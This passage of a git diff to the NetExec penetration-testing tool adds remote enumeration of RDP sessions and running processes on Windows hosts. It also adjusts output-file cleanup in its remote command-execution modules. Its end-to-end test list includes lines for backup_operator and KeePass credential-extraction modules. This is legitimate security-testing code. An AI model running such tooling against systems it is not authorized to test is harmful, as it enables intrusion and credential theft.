"RemoteIp": "", + "ClientName": "", + "Username": "", + "Domain": "", + "Resolution": "", + "ClientTimeZone": "" + } + return sessions + + def enumerate_sessions_info(self, sessions): + if len(sessions): + with TSTS.TermSrvSession(self.conn, self.host, self.kerberos) as TermSrvSession: + for SessionId in sessions: + sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId) + sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["SessionFlags"]) + sessions[SessionId]["flags"] = sessflags + domain = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DomainName"] + if not len(sessions[SessionId]["Domain"]) and len(domain): + sessions[SessionId]["Domain"] = domain + username = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["UserName"] + if not len(sessions[SessionId]["Username"]) and len(username): + sessions[SessionId]["Username"] = username + sessions[SessionId]["ConnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["ConnectTime"] + sessions[SessionId]["DisconnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DisconnectTime"] + sessions[SessionId]["LogonTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LogonTime"] + sessions[SessionId]["LastInputTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LastInputTime"] + with TSTS.RCMPublic(self.conn, self.host, self.kerberos) as rcm: + for SessionId in sessions: + try: + client = rcm.hRpcGetRemoteAddress(SessionId) + if not client: + continue + sessions[SessionId]["RemoteIp"] = client["pRemoteAddress"]["ipv4"]["in_addr"] + except Exception as e: + self.logger.debug(f"Error getting client address for session {SessionId}: {e}") + + @requires_admin + def qwinsta(self): + desktop_states = { + "WTS_SESSIONSTATE_UNKNOWN": "", + "WTS_SESSIONSTATE_LOCK": "Locked", + "WTS_SESSIONSTATE_UNLOCK": "Unlocked", + } + sessions = self.get_session_list() + if not len(sessions): + return + self.enumerate_sessions_info(sessions) + + maxSessionNameLen = max([len(sessions[i]["SessionName"]) + 1 for i in sessions]) + maxSessionNameLen = maxSessionNameLen if len("SESSIONNAME") < maxSessionNameLen else len("SESSIONNAME") + 1 + maxUsernameLen = max([len(sessions[i]["Username"] + sessions[i]["Domain"]) + 1 for i in sessions]) + 1 + maxUsernameLen = maxUsernameLen if len("Username") < maxUsernameLen else len("Username") + 1 + maxIdLen = max([len(str(i)) for i in sessions]) + maxIdLen = maxIdLen if len("ID") < maxIdLen else len("ID") + 1 + maxStateLen = max([len(sessions[i]["state"]) + 1 for i in sessions]) + maxStateLen = maxStateLen if len("STATE") < maxStateLen else len("STATE") + 1 + maxRemoteIp = max([len(sessions[i]["RemoteIp"]) + 1 for i in sessions]) + maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress") + 1 + maxClientName = max([len(sessions[i]["ClientName"]) + 1 for i in sessions]) + maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName") + 1 + template = ("{SESSIONNAME: <%d} " + "{USERNAME: <%d} " + "{ID: <%d} " + "{IPv4: <16} " + "{STATE: <%d} " + "{DSTATE: <9} " + "{CONNTIME: <20} " + "{DISCTIME: <20} ") % (maxSessionNameLen, maxUsernameLen, maxIdLen, maxStateLen) + + result = [] + header = template.format( + SESSIONNAME="SESSIONNAME", + USERNAME="USERNAME", + ID="ID", + IPv4="IPv4 Address", + STATE="STATE", + DSTATE="Desktop", + CONNTIME="ConnectTime", + DISCTIME="DisconnectTime", + ) + + header2 = template.replace(" <", "=<").format( + SESSIONNAME="", + USERNAME="", + ID="", + IPv4="", + STATE="", + DSTATE="", + CONNTIME="", + DISCTIME="", + ) + result.extend((header, header2)) + + for i in sessions: + connectTime = sessions[i]["ConnectTime"] + connectTime = connectTime.strftime(r"%Y/%m/%d %H:%M:%S") if connectTime.year > 1601 else "None" + + disconnectTime = sessions[i]["DisconnectTime"] + disconnectTime = disconnectTime.strftime(r"%Y/%m/%d %H:%M:%S") if disconnectTime.year > 1601 else "None" + userName = sessions[i]["Domain"] + "\\" + sessions[i]["Username"] if len(sessions[i]["Username"]) else "" + + result.append(template.format( + SESSIONNAME=sessions[i]["SessionName"], + USERNAME=userName, + ID=i, + IPv4=sessions[i]["RemoteIp"], + STATE=sessions[i]["state"], + DSTATE=desktop_states[sessions[i]["flags"]], + CONNTIME=connectTime, + DISCTIME=disconnectTime, + )) + + self.logger.success("Enumerated qwinsta sessions") + for row in result: + self.logger.highlight(row) + + @requires_admin + def tasklist(self): + with TSTS.LegacyAPI(self.conn, self.host, self.kerberos) as legacy: + try: + handle = legacy.hRpcWinStationOpenServer() + res = legacy.hRpcWinStationGetAllProcesses(handle) + except Exception as e: + # TODO: Issue https://github.com/fortra/impacket/issues/1816 + self.logger.debug(f"Exception while calling hRpcWinStationGetAllProcesses: {e}") + return + if not res: + return + self.logger.success("Enumerated processes") + maxImageNameLen = max([len(i["ImageName"]) for i in res]) + maxSidLen = max([len(i["pSid"]) for i in res]) + template = "{: <%d} {: <8} {: <11} {: <%d} {: >12}" % (maxImageNameLen, maxSidLen) + self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage")) + self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", "")) + for procInfo in res: + row = template.format( + procInfo["ImageName"], + procInfo["UniqueProcessId"], + procInfo["SessionId"], + procInfo["pSid"], + "{:,} K".format(procInfo["WorkingSetSize"] // 1000), + ) + self.logger.highlight(row) + def shares(self): temp_dir = ntpath.normpath("\\" + gen_random_string()) temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt") @@ -1084,7 +1241,7 @@ class smb(connection): dc_ips.append(self.host) return dc_ips - def sessions(self): + def smb_sessions(self): try: sessions = get_netsession( self.host, @@ -1099,8 +1256,8 @@ class smb(connection): if session.sesi10_cname.find(self.local_ip) == -1: self.logger.highlight(f"{session.sesi10_cname:<25} User:{session.sesi10_username}") return sessions - except Exception: - pass + except Exception as e: + self.logger.debug(e) def disks(self): disks = [] diff --git a/nxc/protocols/smb/atexec.py b/nxc/protocols/smb/atexec.py index b0ed35b4..00bba6fe 100755 --- a/nxc/protocols/smb/atexec.py +++ b/nxc/protocols/smb/atexec.py @@ -207,8 +207,10 @@ class TSCH_EXEC: else: self.logger.debug(str(e)) - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}") smbConnection.deleteFile(self.__share, self.__output_filename) + except Exception: + pass dce.disconnect() diff --git a/nxc/protocols/smb/mmcexec.py b/nxc/protocols/smb/mmcexec.py index 57d30d4a..3112a374 100644 --- a/nxc/protocols/smb/mmcexec.py +++ b/nxc/protocols/smb/mmcexec.py @@ -280,6 +280,8 @@ class MMCEXEC: else: self.logger.debug(str(e)) - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") self.__smbconnection.deleteFile(self.__share, self.__output) + except Exception: + pass diff --git a/nxc/protocols/smb/passpol.py b/nxc/protocols/smb/passpol.py index fa1bcb20..dbea1931 100644 --- a/nxc/protocols/smb/passpol.py +++ b/nxc/protocols/smb/passpol.py @@ -23,7 +23,7 @@ def convert(low, high, lockout=False): time = "" tmp = 0 - if low == 0 and hex(high) == "-0x80000000": + if low == 0 and high == -0x8000_0000 or low == 0 and high == -0x8000_0000_0000_0000: return "Not Set" if low == 0 and high == 0: return "None" @@ -35,7 +35,7 @@ def convert(low, high, lockout=False): high = abs(high) low = abs(low) - tmp = low + (high) * 16**8 # convert to 64bit int + tmp = low + (high << 32) # convert to 64bit int tmp *= 1e-7 # convert to seconds else: tmp = abs(high) * (1e-7) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 6011de8c..17d02891 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -41,7 +41,7 @@ def proto_args(parser, parents): mapping_enum_group.add_argument("--interfaces", action="store_true", help="enumerate network interfaces") mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)") mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'") - mapping_enum_group.add_argument("--sessions", action="store_true", help="enumerate active sessions") + mapping_enum_group.add_argument("--smb-sessions", action="store_true", help="enumerate active smb sessions") mapping_enum_group.add_argument("--disks", action="store_true", help="enumerate disks") mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex") mapping_enum_group.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users") @@ -51,7 +51,9 @@ def proto_args(parser, parents): mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated") mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy") mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs") - + mapping_enum_group.add_argument("--qwinsta", action="store_true", help="Enumerate RDP connections") + mapping_enum_group.add_argument("--tasklist", action="store_true", help="Enumerate running processes") + wmi_group = smb_parser.add_argument_group("WMI", "Options for WMI Queries") wmi_group.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query") wmi_group.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace") diff --git a/nxc/protocols/smb/smbexec.py b/nxc/protocols/smb/smbexec.py index ab043dbf..2f9a6843 100755 --- a/nxc/protocols/smb/smbexec.py +++ b/nxc/protocols/smb/smbexec.py @@ -172,9 +172,11 @@ class SMBEXEC: else: self.logger.debug(str(e)) - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") self.__smbconnection.deleteFile(self.__share, self.__output) + except Exception: + pass def execute_fileless(self, data): self.__output = gen_random_string(6) diff --git a/nxc/protocols/smb/wmiexec.py b/nxc/protocols/smb/wmiexec.py index b90882b7..6fad376a 100755 --- a/nxc/protocols/smb/wmiexec.py +++ b/nxc/protocols/smb/wmiexec.py @@ -171,6 +171,8 @@ class WMIEXEC: else: self.logger.debug(f"Exception when trying to read output file: {e}") - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") self.__smbconnection.deleteFile(self.__share, self.__output) + except Exception: + pass diff --git a/poetry.lock b/poetry.lock index cbe8b261..157c33bd 100644 --- a/poetry.lock +++ b/poetry.lock @@ -893,7 +893,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2 [[package]] name = "impacket" -version = "0.13.0.dev0+20241125.162952.ea27e8b2" +version = "0.13.0.dev0+20250220.93348.6315ebd5" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -917,7 +917,7 @@ six = "*" type = "git" url = "https://github.com/fortra/impacket.git" reference = "HEAD" -resolved_reference = "ea27e8b2dfedf57370d2f65c5053a2b8eeb8ca9d" +resolved_reference = "6315ebd5388cf5bf52a809b8101f18d49c6a0ef7" [[package]] name = "iniconfig" @@ -1870,7 +1870,7 @@ develop = false type = "git" url = "https://github.com/Pennyw0rth/NfsClient" reference = "HEAD" -resolved_reference = "a94a3254b279dc49395caecf27ec097a71eea91b" +resolved_reference = "0fa1c048394f601d565c6301880da84912b8245a" [[package]] name = "pyopenssl" diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 581cdf80..bfbf9d97 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -89,6 +89,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M remove-mic +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M backup_operator # currently hanging indefinitely - TODO: look into this #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml"